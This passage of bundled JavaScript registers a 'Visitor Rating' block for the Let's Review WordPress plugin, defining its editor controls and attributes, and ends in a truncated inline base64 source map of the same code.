_ref.open;\n\t\t\t\t\t\t\t\t\treturn wp.element.createElement(\n\t\t\t\t\t\t\t\t\t\t'button',\n\t\t\t\t\t\t\t\t\t\t{ className: 'components-button is-button is-default is-large', onClick: open },\n\t\t\t\t\t\t\t\t\t\t__('Set Schema Image')\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t),\n\t\t\t\t\t\tattributes.fiThumb ? wp.element.createElement('img', { src: attributes.fiThumb }) : ''\n\t\t\t\t\t) : ''\n\t\t\t\t),\n\t\t\t\twp.element.createElement(PanelColorSettings, {\n\t\t\t\t\ttitle: __('Color Settings'),\n\t\t\t\t\tcolorSettings: colorSettingsOptions\n\t\t\t\t})\n\t\t\t), el(ServerSideRender, {\n\t\t\t\tblock: \"lets-review/block-visitor-ratings\",\n\t\t\t\tattributes: attributes\n\t\t\t})];\n\t\t}\n\t}]);\n\n\treturn letsReviewVisitorRating;\n}(__WEBPACK_IMPORTED_MODULE_0__wordpress_element__[\"Component\"]);\n\nregisterBlockType('lets-review/block-visitor-ratings', {\n\ttitle: __(\"Visitor Rating\"),\n\tdescription: __('A block to let visitors leave their own rating.'),\n\ticon: iconEl,\n\tcategory: 'lets-review-blocks',\n\tkeywords: [__('review'), __('rating'), 'lets review', \"Let's Review\", 'lets-review'],\n\tattributes: {\n\t\tskin: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\tdesign: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\ttitle: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\thideTitleBox: {\n\t\t\ttype: 'boolean',\n\t\t\tdefault: 'false'\n\t\t},\n\t\ticonCode: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tscoreType: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '1'\n\t\t},\n\t\titemReviewed: {\n\t\t\ttype: 'string',\n\t\t\tdefault: 'Organization'\n\t\t},\n\t\tschemaDirector: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaMpn: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaSku: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaBrand: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaDescription: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\tschemaDateCreated: {\n\t\t\ttype: 'string',\n\t\t\tdefault: ''\n\t\t},\n\t\taccent: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#f8d92f'\n\t\t},\n\t\tskinBG: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#111'\n\t\t},\n\t\tfiID: {\n\t\t\ttype: 'integer'\n\t\t},\n\t\tfiThumb: {\n\t\t\ttype: 'string'\n\t\t},\n\t\tskinText: {\n\t\t\ttype: 'string',\n\t\t\tdefault: '#fff'\n\t\t},\n\t\tuid: {\n\t\t\ttype: 'integer',\n\t\t\tdefault: 123\n\t\t}\n\t},\n\tedit: letsReviewVisitorRating,\n\tsave: function save(props) {\n\t\treturn null;\n\t}\n});//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNS5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9ibG9jay92aXNpdG9yLXJhdGluZ3MuanM/NWQzMiJdLCJzb3VyY2VzQ29udGVudCI6WyJ2YXIgX2NyZWF0ZUNsYXNzID0gZnVuY3Rpb24gKCkgeyBmdW5jdGlvbiBkZWZpbmVQcm9wZXJ0aWVzKHRhcmdldCwgcHJvcHMpIHsgZm9yICh2YXIgaSA9IDA7IGkgPCBwcm9wcy5sZW5ndGg7IGkrKykgeyB2YXIgZGVzY3JpcHRvciA9IHByb3BzW2ldOyBkZXNjcmlwdG9yLmVudW1lcmFibGUgPSBkZXNjcmlwdG9yLmVudW1lcmFibGUgfHwgZmFsc2U7IGRlc2NyaXB0b3IuY29uZmlndXJhYmxlID0gdHJ1ZTsgaWYgKFwidmFsdWVcIiBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTsgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpOyB9IH0gcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHsgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTsgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7IHJldHVybiBDb25zdHJ1Y3RvcjsgfTsgfSgpO1xuXG5mdW5jdGlvbiBfZGVmaW5lUHJvcGVydHkob2JqLCBrZXksIHZhbHVlKSB7IGlmIChrZXkgaW4gb2JqKSB7IE9iamVjdC5kZWZpbmVQcm9wZXJ0eShvYmosIGtleSwgeyB2YWx1ZTogdmFsdWUsIGVudW1lcmFibGU6IHRydWUsIGNvbmZpZ3VyYWJsZTogdHJ1ZSwgd3JpdGFibGU6IHRydWUgfSk7IH0gZWxzZSB7IG9ialtrZXldID0gdmFsdWU7IH0gcmV0dXJuIG9iajsgfVxuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbi8qKlxuICogQkxPQ0s6IFZpc2l0b3IgUmF0aW5nc1xuICovXG5cbnZhciBfXyA9IHdwLmkxOG4uX187XG52YXIgcmVnaXN0ZXJCbG9ja1R5cGUgPSB3cC5ibG9ja3MucmVnaXN0ZXJCbG9ja1R5cGU7XG5cbnZhciBlbCA9IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudDtcbmltcG9ydCB7IENvbXBvbmVudCwgRnJhZ21lbnQgfSBmcm9tICdAd29yZHByZXNzL2VsZW1lbnQnO1xuXG52YXIgX3dwJGVkaXRvciA9IHdwLmVkaXRvcixcbiAgICBSaWNoVGV4dCA9IF93cCRlZGl0b3IuUmljaFRleHQsXG4gICAgSW5zcGVjdG9yQ29udHJvbHMgPSBfd3AkZWRpdG9yLkluc3BlY3RvckNvbnRyb2xzLFxuICAgIE1lZGlhVXBsb2FkID0gX3dwJGVkaXRvci5NZWRpYVVwbG9hZCxcbiAgICBNZWRpYVVwbG9hZENoZWNrID0gX3dwJGVkaXRvci5NZWRpYVVwbG9hZENoZWNrLFxuICAgIEJsb2NrQ29udHJvbHMgPSBfd3AkZWRpdG9yLkJsb2NrQ29udHJvbHMsXG4gICAgUGFuZWxDb2xvclNldHRpbmdzID0gX3dwJGVkaXRvci5QYW5lbENvbG9yU2V0dGluZ3MsXG4gICAgQmxvY2tBbGlnbm1lbnRUb29sYmFyID0gX3dwJGVkaXRvci5CbG9ja0FsaWdubWVudFRvb2xiYXI7XG52YXIgX3dwJGNvbXBvbmVudHMgPSB3cC5jb21wb25lbnRzLFxuICAgIFNlbGVjdENvbnRyb2wgPSBfd3AkY29tcG9uZW50cy5TZWxlY3RDb250cm9sLFxuICAgIFRvZ2dsZUNvbnRyb2wgPSBfd3AkY29tcG9uZW50cy5Ub2dnbGVDb250cm9sLFxuICAgIERhdGVUaW1lUGlja2VyID0gX3dwJGNvbXBvbmVudHMuRGF0ZVRpbWVQaWNrZXIsXG4gICAgQnV0dG9uID0gX3dwJGNvbXBvbmVudHMuQnV0dG9uLFxuICAgIFRleHRDb250cm9sID0gX3dwJGNvbXBvbmVudHMuVGV4dENvbnRyb2wsXG4gICAgQ29sb3JQaWNrZXIgPSBfd3AkY29tcG9uZW50cy5Db2xvclBpY2tlcixcbiAgICBQYW5lbEJvZHkgPSBfd3AkY29tcG9uZW50cy5QYW5lbEJvZHksXG4gICAgU2VydmVyU2lkZVJlbmRlciA9IF93cCRjb21wb25lbnRzLlNlcnZlclNpZGVSZW5kZXI7XG5cblxudmFyIGljb25FbCA9IGVsKCdzdmcnLCB7IHdpZHRoOiAyMCwgaGVpZ2h0OiAyMCB9LCBlbCgncGF0aCcsIHsgZDogXCJNMTksMCBDMTkuNTUyMjg0NywtMS4wMTQ1MzA2M2UtMTYgMjAsMC40NDc3MTUyNSAyMCwxIEwyMCwxOSBDMjAsMTkuNTUyMjg0NyAxOS41NTIyODQ3LDIwIDE5LDIwIEwxLDIwIEMwLjQ0NzcxNTI1LDIwIDYuNzYzNTM3NTFlLTE3LDE5LjU1MjI4NDcgMCwxOSBMMCwxIEMtNi43NjM1Mzc1MWUtMTcsMC40NDc3MTUyNSAwLjQ0NzcxNTI1LDEuMDE0NTMwNjNlLTE2IDEsMCBMMTksMCBaIE0xOCwyIEwyLDIgTDIsMTggTDE4LDE4IEwxOCwyIFogTTEwLDUgTDExLjQ2OTQ2MzEsNy45Nzc0NTc1MSBMMTQuNzU1MjgyNiw4LjQ1NDkxNTAzIEwxMi4zNzc2NDEzLDEwLjc3MjU0MjUgTDEyLjkzODkyNjMsMTQuMDQ1MDg1IEwxMCwxMi41IEw3LjA2MTA3Mzc0LDE0LjA0NTA4NSBMNy42MjIzNTg3MSwxMC43NzI1NDI1IEw1LjI0NDcxNzQyLDguNDU0OTE1MDMgTDguNTMwNTM2ODcsNy45Nzc0NTc1MSBMMTAsNSBaXCIgfSkpO1xuXG52YXIgbGV0c1Jldmlld1Zpc2l0b3JSYXRpbmcgPSBmdW5jdGlvbiAoX0NvbXBvbmVudCkge1xuXHRfaW5oZXJpdHMobGV0c1Jldmlld1Zpc2l0b3JSYXRpbmcsIF9Db21wb25lbnQpO1xuXG5cdGZ1bmN0aW9uIGxldHNSZXZpZXdWaXNpdG9yUmF0aW5nKCkge1xuXHRcdF9jbGFzc0NhbGxDaGVjayh0aGlzLCBsZXRzUmV2aWV3VmlzaXRvclJhdGluZyk7XG5cblx0XHRyZXR1cm4gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgKGxldHNSZXZpZXdWaXNpdG9yUmF0aW5nLl9fcHJvdG9fXyB8fCBPYmplY3QuZ2V0UHJvdG90eXBlT2YobGV0c1Jldmlld1Zpc2l0b3JSYXRpbmcpKS5hcHBseSh0aGlzLCBhcmd1bWVudHMpKTtcblx0fVxuXG5cdF9jcmVhdGVDbGFzcyhsZXRzUmV2aWV3VmlzaXRvclJhdGluZywgW3tcblx0XHRrZXk6ICdjb21wb25lbnREaWRNb3VudCcsXG5cdFx0dmFsdWU6IGZ1bmN0aW9uIGNvbXBvbmVudERpZE1vdW50KCkge1xuXHRcdFx0dmFyIF9wcm9wcyA9IHRoaXMucHJvcHMsXG5cdFx0XHQgICAgc2V0QXR0cmlidXRlcyA9IF9wcm9wcy5zZXRBdHRyaWJ1dGVzLFxuXHRcdFx0ICAgIGF0dHJpYnV0ZXMgPSBfcHJvcHMuYXR0cmlidXRlcztcblxuXHRcdFx0aWYgKGF0dHJpYnV0ZXMudWlkID09PSAxMjMpIHtcblx0XHRcdFx0c2V0QXR0cmlidXRlcyh7XG5cdFx0XHRcdFx0dWlkOiBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAoOTk5OTk5IC0gMTAwMDAwICsgMSkgKyAxMDAwMDApXG5cdFx0XHRcdH0pO1xuXHRcdFx0fVxuXHRcdH1cblx0fSwge1xuXHRcdGtleTogJ3JlbmRlcicsXG5cdFx0dmFsdWU6IGZ1bmN0aW9uIHJlbmRlcigpIHtcblx0XHRcdHZhciBfcHJvcHMyID0gdGhpcy5wcm9wcyxcblx0XHRcdCAgICBzZXRBdHRyaWJ1dGVzID0gX3Byb3BzMi5zZXRBdHRyaWJ1dGVzLFxuXHRcdFx0ICAgIGF0dHJpYnV0ZXMgPSBfcHJvcHMyLmF0dHJpYnV0ZXM7XG5cblx0XHRcdHZhciBiYXJzQW5pT24gPSAnJyxcblx0XHRcdCAgICBhY2NlbnRPbiA9IHRydWUsXG5cdFx0XHQgICAgc2NvcmVUeXBlID0gcGFyc2VJbnQoYXR0cmlidXRlcy5zY29yZVR5cGUpLFxuXHRcdFx0ICAgIGRlc2lnbiA9IHBhcnNlSW50KGF0dHJpYnV0ZXMuZGVzaWduKTtcblx0XHRcdHZhciBzY29yZVR5cGVPcHRpb25zID0gW3sgbGFiZWw6IF9fKCdQZXJjZW50YWdlJyksIHZhbHVlOiAnMScgfSwgeyBsYWJlbDogX18oJ1BvaW50cycpLCB2YWx1ZTogJzInIH1dO1xuXHRcdFx0aWYgKGRlc2lnbiA9PT0gNikge1xuXHRcdFx0XHRhY2NlbnRPbiA9IGZhbHNlO1xuXHRcdFx0fSBlbHNlIHtcblx0XHRcdFx0c2NvcmVUeXBlT3B0aW9ucy5wdXNoKHsgbGFiZWw6IF9fKCdTdGFycycpLCB2YWx1ZTogJzMnIH0pO1xuXHRcdFx0XHRzY29yZVR5cGVPcHRpb25zLnB1c2goeyBsYWJlbDogX18oJ0N1c3RvbSBJY29ucycpLCB2YWx1ZTogJzQnIH0pO1xuXHRcdFx0XHRzY29yZVR5cGVPcHRpb25zLnB1c2goeyBsYWJlbDogX18oJ0N1c3RvbSBJbWFnZScpLCB2YWx1ZTogJzUnIH0pO1xuXHRcdFx0fVxuXHRcdFx0dmFyIGNvbG9yU2V0dGluZ3NPcHRpb25zID0gW3tcblx0XHRcdFx0dmFsdWU6IGF0dHJpYnV0ZXMuYWNjZW50LFxuXHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IGFjY2VudDogdmFsdWUgfSk7XG5cdFx0XHRcdH0sXG5cdFx0XHRcdGxhYmVsOiBfXygnQWNjZW50IENvbG9yJylcblx0XHRcdH1dO1xuXHRcdFx0aWYgKHBhcnNlSW50KGF0dHJpYnV0ZXMuc2tpbikgPT09IDMgJiYgZGVzaWduICE9PSA2KSB7XG5cdFx0XHRcdGNvbG9yU2V0dGluZ3NPcHRpb25zLnB1c2goe1xuXHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLnNraW5CRyxcblx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgc2tpbkJHOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHR9LFxuXHRcdFx0XHRcdGxhYmVsOiBfXygnQmFja2dyb3VuZCBDb2xvcicpXG5cdFx0XHRcdH0pO1xuXHRcdFx0XHRjb2xvclNldHRpbmdzT3B0aW9ucy5wdXNoKHtcblx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5za2luVGV4dCxcblx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgc2tpblRleHQ6IHZhbHVlIH0pO1xuXHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0bGFiZWw6IF9fKCdUZXh0IENvbG9yJylcblx0XHRcdFx0fSk7XG5cdFx0XHR9XG5cblx0XHRcdGZ1bmN0aW9uIG9uSW1hZ2VTZWxlY3QoYXR0ciwgaW1hZ2VPYmplY3QpIHtcblx0XHRcdFx0dmFyIF9zZXRBdHRyaWJ1dGVzO1xuXG5cdFx0XHRcdHZhciB0aHVtYjtcblx0XHRcdFx0aWYgKHR5cGVvZiBpbWFnZU9iamVjdC5zaXplcy5tZWRpdW0gIT09ICd1bmRlZmluZWQnICYmIGltYWdlT2JqZWN0LnNpemVzLm1lZGl1bS53aWR0aCA+IDApIHtcblx0XHRcdFx0XHR0aHVtYiA9IGltYWdlT2JqZWN0LnNpemVzLm1lZGl1bS51cmw7XG5cdFx0XHRcdH0gZWxzZSBpZiAodHlwZW9mIGltYWdlT2JqZWN0LnNpemVzLmZ1bGwgIT09ICd1bmRlZmluZWQnICYmIGltYWdlT2JqZWN0LnNpemVzLmZ1bGwud2lkdGggPiAwKSB7XG5cdFx0XHRcdFx0dGh1bWIgPSBpbWFnZU9iamVjdC5zaXplcy5mdWxsLnVybDtcblx0XHRcdFx0fSBlbHNlIGlmICh0eXBlb2YgaW1hZ2VPYmplY3Quc2l6ZXMudGh1bWJuYWlsICE9PSAndW5kZWZpbmVkJyAmJiBpbWFnZU9iamVjdC5zaXplcy50aHVtYm5haWwud2lkdGggPiAwKSB7XG5cdFx0XHRcdFx0dGh1bWIgPSBpbWFnZU9iamVjdC5zaXplcy50aHVtYm5haWwudXJsO1xuXHRcdFx0XHR9XG5cdFx0XHRcdGlmIChhdHRyID09PSAnYmcnKSB7XG5cdFx0XHRcdFx0dGh1bWIgPSBpbWFnZU9iamVjdC5zaXplcy5mdWxsLnVybDtcblx0XHRcdFx0fVxuXHRcdFx0XHRzZXRBdHRyaWJ1dGVzKChfc2V0QXR0cmlidXRlcyA9IHt9LCBfZGVmaW5lUHJvcGVydHkoX3NldEF0dHJpYnV0ZXMsIGF0dHIgKyAnSUQnLCBpbWFnZU9iamVjdC5pZCksIF9kZWZpbmVQcm9wZXJ0eShfc2V0QXR0cmlidXRlcywgYXR0ciArICdUaHVtYicsIHRodW1iKSwgX3NldEF0dHJpYnV0ZXMpKTtcblx0XHRcdH1cblx0XHRcdHJldHVybiBbd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRJbnNwZWN0b3JDb250cm9scyxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFBhbmVsQm9keSxcblx0XHRcdFx0XHR7IHRpdGxlOiBfXygnQmxvY2sgT3B0aW9ucycpIH0sXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFNlbGVjdENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnRGVzaWduJyksXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5kZXNpZ24sXG5cdFx0XHRcdFx0XHRvcHRpb25zOiBbeyBsYWJlbDogX18oJ01pbmltYWxpc3QnKSwgdmFsdWU6ICcxJyB9LCB7IGxhYmVsOiBfXygnTWluaW1hbGlzdCBCJyksIHZhbHVlOiAnNicgfSwgeyBsYWJlbDogX18oJ0JvbGQnKSwgdmFsdWU6ICcyJyB9XSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRpZiAoNiA9PT0gcGFyc2VJbnQodmFsdWUpICYmIHBhcnNlSW50KGF0dHJpYnV0ZXMuc2NvcmVUeXBlKSA+IDIpIHtcblx0XHRcdFx0XHRcdFx0XHRzZXRBdHRyaWJ1dGVzKHsgZGVzaWduOiB2YWx1ZSwgc2NvcmVUeXBlOiAnMScgfSk7XG5cdFx0XHRcdFx0XHRcdH0gZWxzZSB7XG5cdFx0XHRcdFx0XHRcdFx0c2V0QXR0cmlidXRlcyh7IGRlc2lnbjogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9KSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoU2VsZWN0Q29udHJvbCwge1xuXHRcdFx0XHRcdFx0bGFiZWw6IF9fKCdTY29yZSBUeXBlJyksXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5zY29yZVR5cGUsXG5cdFx0XHRcdFx0XHRvcHRpb25zOiBzY29yZVR5cGVPcHRpb25zLFxuXHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgc2NvcmVUeXBlOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9KSxcblx0XHRcdFx0XHRzY29yZVR5cGUgPT09IDQgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnSWNvbiBIVE1MIGNvZGUnLCAnbGV0cy1yZXZpZXcnKSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IGljb25Db2RlOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5pY29uQ29kZVxuXHRcdFx0XHRcdH0pIDogJycsXG5cdFx0XHRcdFx0YmFyc0FuaU9uID09PSB0cnVlID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFNlbGVjdENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnQmFyIEFuaW1hdGlvbnMnKSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLmFuaVR5cGUsXG5cdFx0XHRcdFx0XHRvcHRpb25zOiBbeyBsYWJlbDogX18oJ0luY3JlbWVudGFsJyksIHZhbHVlOiAnMScgfSwgeyBsYWJlbDogX18oJ0ZhZGUgSW4nKSwgdmFsdWU6ICcyJyB9LCB7IGxhYmVsOiBfXygnTm9uZScpLCB2YWx1ZTogJzMnIH1dLFxuXHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgYW5pVHlwZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fSkgOiAnJ1xuXHRcdFx0XHQpLFxuXHRcdFx0XHRkZXNpZ24gPT09IDYgPyAnJyA6IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChTZWxlY3RDb250cm9sLCB7XG5cdFx0XHRcdFx0bGFiZWw6ICdTa2luJyxcblx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5za2luLFxuXHRcdFx0XHRcdG9wdGlvbnM6IFt7IGxhYmVsOiBfXygnTGlnaHQnKSwgdmFsdWU6ICcxJyB9LCB7IGxhYmVsOiBfXygnRGFyaycpLCB2YWx1ZTogJzInIH0sIHsgbGFiZWw6IF9fKCdDdXN0b20nKSwgdmFsdWU6ICczJyB9XSxcblx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgc2tpbjogdmFsdWUgfSk7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9KSxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFRleHRDb250cm9sLCB7XG5cdFx0XHRcdFx0bGFiZWw6IF9fKCdUaXRsZScsICdsZXRzLXJldmlldycpLFxuXHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyB0aXRsZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0fSxcblx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy50aXRsZVxuXHRcdFx0XHR9KSxcblx0XHRcdFx0YXR0cmlidXRlcy50aXRsZSA9PT0gJycgPyAnJyA6IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChUb2dnbGVDb250cm9sLCB7XG5cdFx0XHRcdFx0bGFiZWw6IF9fKCdIaWRlIFRpdGxlIEJveCcpLFxuXHRcdFx0XHRcdGNoZWNrZWQ6IGF0dHJpYnV0ZXMuaGlkZVRpdGxlQm94LFxuXHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBoaWRlVGl0bGVCb3g6IHZhbHVlIH0pO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fSksXG5cdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRQYW5lbEJvZHksXG5cdFx0XHRcdFx0eyB0aXRsZTogX18oJ1NjaGVtYScpIH0sXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFNlbGVjdENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnU2NoZW1hIFR5cGUnKSxcblx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLml0ZW1SZXZpZXdlZCxcblx0XHRcdFx0XHRcdG9wdGlvbnM6IFt7IGxhYmVsOiBfXygnUHJvZHVjdCcpLCB2YWx1ZTogJ1Byb2R1Y3QnIH0sIHsgbGFiZWw6IF9fKCdFcGlzb2RlJyksIHZhbHVlOiAnRXBpc29kZScgfSwgeyBsYWJlbDogX18oJ01vdmllJyksIHZhbHVlOiAnTW92aWUnIH0sIHsgbGFiZWw6IF9fKCdHYW1lJyksIHZhbHVlOiAnR2FtZScgfSwgeyBsYWJlbDogX18oJ09yZ2FuaXphdGlvbicpLCB2YWx1ZTogJ09yZ2FuaXphdGlvbicgfV0sXG5cdFx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBpdGVtUmV2aWV3ZWQ6IHZhbHVlIH0pO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH0pLFxuXHRcdFx0XHRcdCdQcm9kdWN0JyA9PT0gYXR0cmlidXRlcy5pdGVtUmV2aWV3ZWQgPyB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcblx0XHRcdFx0XHRcdGxhYmVsOiBfXygnRGVzY3JpcHRpb24nKSxcblx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZSkge1xuXHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHNjaGVtYURlc2NyaXB0aW9uOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5zY2hlbWFEZXNjcmlwdGlvblxuXHRcdFx0XHRcdH0pIDogJycsXG5cdFx0XHRcdFx0J1Byb2R1Y3QnID09PSBhdHRyaWJ1dGVzLml0ZW1SZXZpZXdlZCA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChUZXh0Q29udHJvbCwge1xuXHRcdFx0XHRcdFx0bG